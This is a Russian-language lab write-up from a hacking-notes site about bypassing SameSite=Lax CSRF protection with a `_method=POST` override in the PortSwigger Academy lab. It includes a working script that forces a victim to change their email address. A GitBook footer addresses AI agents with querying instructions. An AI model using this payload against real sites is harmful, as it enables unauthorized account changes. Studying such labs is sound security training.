> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-method-override.md).

# Обход SameSite Lax через подмену метода

Заметки по обходу SameSite Lax через подмену метода для лабораторных работ PortSwigger Web Security Academy, включая процесс эксплуатации, тестирование полезной нагрузки, проверку в Burp Suite и контекст исправления.

### Обход SameSite Lax с помощью переопределения метода

Функция изменения адреса электронной почты в лабораторной работе уязвима к CSRF-атаке. Сайт использует SameSite=Lax, но эту защиту можно обойти, принудительно задав POST-метод запроса через параметр d-override (`&_method=POST`) в URL.

\*\* Цель\*\*/ Размещение заряда (эксплуатировано) на сервере эксплойта, который выполняет запрос на изменение адреса электронной почты на имя жертвы, чтобы решить лабораторную работу.

**Учетные данные (тестовая учетная запись)**/ `wiener: peter`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b6743be1e0ab29cb48598cc5c24ff3a19cc0ff6%2F%7B2A75D4A2-7EC1-4A62-9294-5A892446CA45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* GET-запрос к конечной точке изменения e-mail возвращает сообщение о том, что метод не разрешен.
* Добавление `&_method=POST` параметра в URL приводит к тому, что запрос принимается (сайт принимает переопределение, обрабатывая запрос как POST), что позволяет выполнить действие несмотря на SameSite=Lax.

```
&_method=POST
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aeb444b839c3376ce3d9931e249ed7704392b9e2%2F%7B9E85C77F-0B42-4F43-BE0C-FC97D0E7FE73%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Полезная нагрузка сервера эксплойта**

Следующий скрипт перенаправляет жертву на URL изменения e-mail, включая параметр переопределения, чтобы принудительно выполнить POST:

```javascript
<script>
  location="https://0af800380365a127808f0396006100a2.web-security-academy.net/my-account/change-email?email=hacked%40test.com&_method=POST";
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ru/web/csrf/samesite-lax-bypass-via-method-override.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
